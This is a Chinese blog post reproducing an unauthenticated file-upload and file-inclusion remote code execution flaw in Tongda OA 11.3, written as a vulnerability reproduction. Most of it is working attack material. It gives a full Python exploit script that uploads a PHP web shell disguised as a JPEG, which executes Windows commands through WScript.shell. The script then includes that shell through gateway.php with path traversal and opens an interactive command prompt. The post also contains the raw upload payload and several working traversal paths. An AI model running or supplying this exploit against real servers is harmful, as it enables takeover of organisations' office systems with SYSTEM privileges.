美文网首页
通达OA文件上传+文件包含RCE

通达OA文件上传+文件包含RCE

作者: 君行路 | 来源:发表于2020-03-31 09:51 被阅读0次
    image

    漏洞概述

    通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

    该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

    漏洞复现

    测试版本 通达OA11.3:https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe

    直接下载安装。安装过程比较漫长,安装了Nginx、MySQL,网站源码(在webroot目录下),并且会开机启动。

    先尝试下腹黑师傅的脚本:

    #!/usr/bin/env python3
    # -*- encoding: utf-8 -*-
    '''
    @File    :   tongda_rce.py
    @Time    :   2020/03/18 11:59:48
    @Author  :   fuhei 
    @Version :   1.0
    @Blog    :   http://www.lovei.org
    '''
    
    import requests
    import re
    import sys
    
    
    def check(url):
        
        try:
            url1 = url + '/ispirit/im/upload.php'
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
            data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\r\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
            result = requests.post(url1, headers=headers, data=data)
    
            name = "".join(re.findall("2003_(.+?)\|",result.text))
            url2 = url + '/ispirit/interface/gateway.php'
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
            data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
            result = requests.post(url2, headers=headers, data=data)
            if result.status_code == 200 and 'fffhhh' in result.text:
                # print("[+] Remote code execution vulnerability exists at the target address")
                return name
            else:   
                return False
        except:
            pass
    
    def command(url, name,command="whoami"):
        url = url + '/ispirit/interface/gateway.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
        result = requests.post(url, headers=headers, data=data)
        while(1):
            command = input("fuhei@shell$ ")
            if command == 'exit' or command  == 'quit':
                break
            else:
                data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
                result = requests.post(url, headers=headers, data=data)
                print(result.text)
    
    if __name__ == '__main__':
        url = sys.argv[1]
        name = check(url)
        if name:
            print("[+] Remote code execution vulnerability exists at the target address")
            command(url,name)
        else:
            print("[-] There is no remote code execution vulnerability in the target address")
    

    效果如下:

    image

    这个给过程可以分为两步:

    • 上传shell文件
    • 包含该shell并执行恶意代码

    上传shell文件

    漏洞点在/ispirit/im/upload.php

    分析源码,只要POST 参数P,即可绕过认证:

    image

    传递如下相关参数:

    -----------------------------27723940316706158781839860668
    Content-Disposition: form-data; name="ATTACHMENT"; filename="f.jpg"
    Content-Type: image/jpeg
    
    <?php
    $command=$_POST['f'];
    $wsh = new COM('WScript.shell');
    $exec = $wsh->exec("cmd /c ".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    ?>
    
    -----------------------------27723940316706158781839860668
    Content-Disposition: form-data; name="P"
    
    1
    -----------------------------27723940316706158781839860668
    Content-Disposition: form-data; name="DEST_UID"
    
    1222222
    -----------------------------27723940316706158781839860668
    Content-Disposition: form-data; name="UPLOAD_MODE"
    
    1
    -----------------------------27723940316706158781839860668--
    
    

    如下:

    image

    只要返回类似这样的信息,就说明文件上传成功了。

    上传的文件不在web目录下,无法直接访问,具体目录为:attach/im/2003/随机数.文件名

    文件包含

    漏洞位置:/ispirit/interface/gateway.php

    if ($json) {
        $json = stripcslashes($json);
        $json = (array) json_decode($json);
        foreach ($json as $key => $val) {
            if ($key == 'data') {
                $val = (array) $val;
                foreach ($val as $keys => $value) {
                    ${$keys} = $value;
                }
            }
            if ($key == 'url') {
                $url = $val;
            }
        }
        if ($url != '') {
            if (substr($url, 0, 1) == '/') {
                $url = substr($url, 1);
            }
            if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
                include_once $url;
            }
        }
        exit;
    }
    

    只要包含的文件路径中含有general/等关键字,就会执行包含操作。

    结果如下(需要添加相关文件头):

    image

    但是腹黑师傅脚本中的目录没看太懂(../../../),后面再尝试其他易于理解的目录。

    注意事项

    1. zend|54加密

    通达OA的所以PHP源文件都是经过zend加密的,直接用文本编辑器打开是无法查看源码的,需要解密后查看:

    http://dezend.qiling.org/free.html

    2. 目录问题

    首先展示下通达OA的关键目录:

    C:\MYOA
        |   \attach
            |   \im
                |   \2003
                    |   上传的文件
        |   \webroot
            |   \ispirit
                |   \im
                    |   upload.php
                    \interface
                    |   gateway.php
    

    文件包含操作在gateway.php

    如下目录都可以包含成功:

    1. ../../general/../../attach/im/2003/2103512691.f.jpg
    2. /general/../../attach/im/2003/2103512691.f.jpg
    3. ../../../general/../attach/im/2003/2103512691.f.jpg

    第三种即腹黑师傅脚本中的,没看太懂。。

    3. 猜测通达OA重启服务后会自动更新补丁

    昨天晚上exp跑的好好的,今天早上再试就漏洞不存在了,可能是自动更新了补丁。

    提前把webroot目录备份了一下,如果有小伙伴第二次复现失败,就尝试删掉现有的webroot目录再还原。

    参考链接

    https://www.anquanke.com/post/id/201174

    https://www.mzxh.xyz/2020/03/18/%E9%80%9A%E8%BE%BEoa%E5%A4%8D%E7%8E%B0/

    相关文章

      网友评论

          本文标题:通达OA文件上传+文件包含RCE

          本文链接:https://www.haomeiwen.com/subject/glgiuhtx.html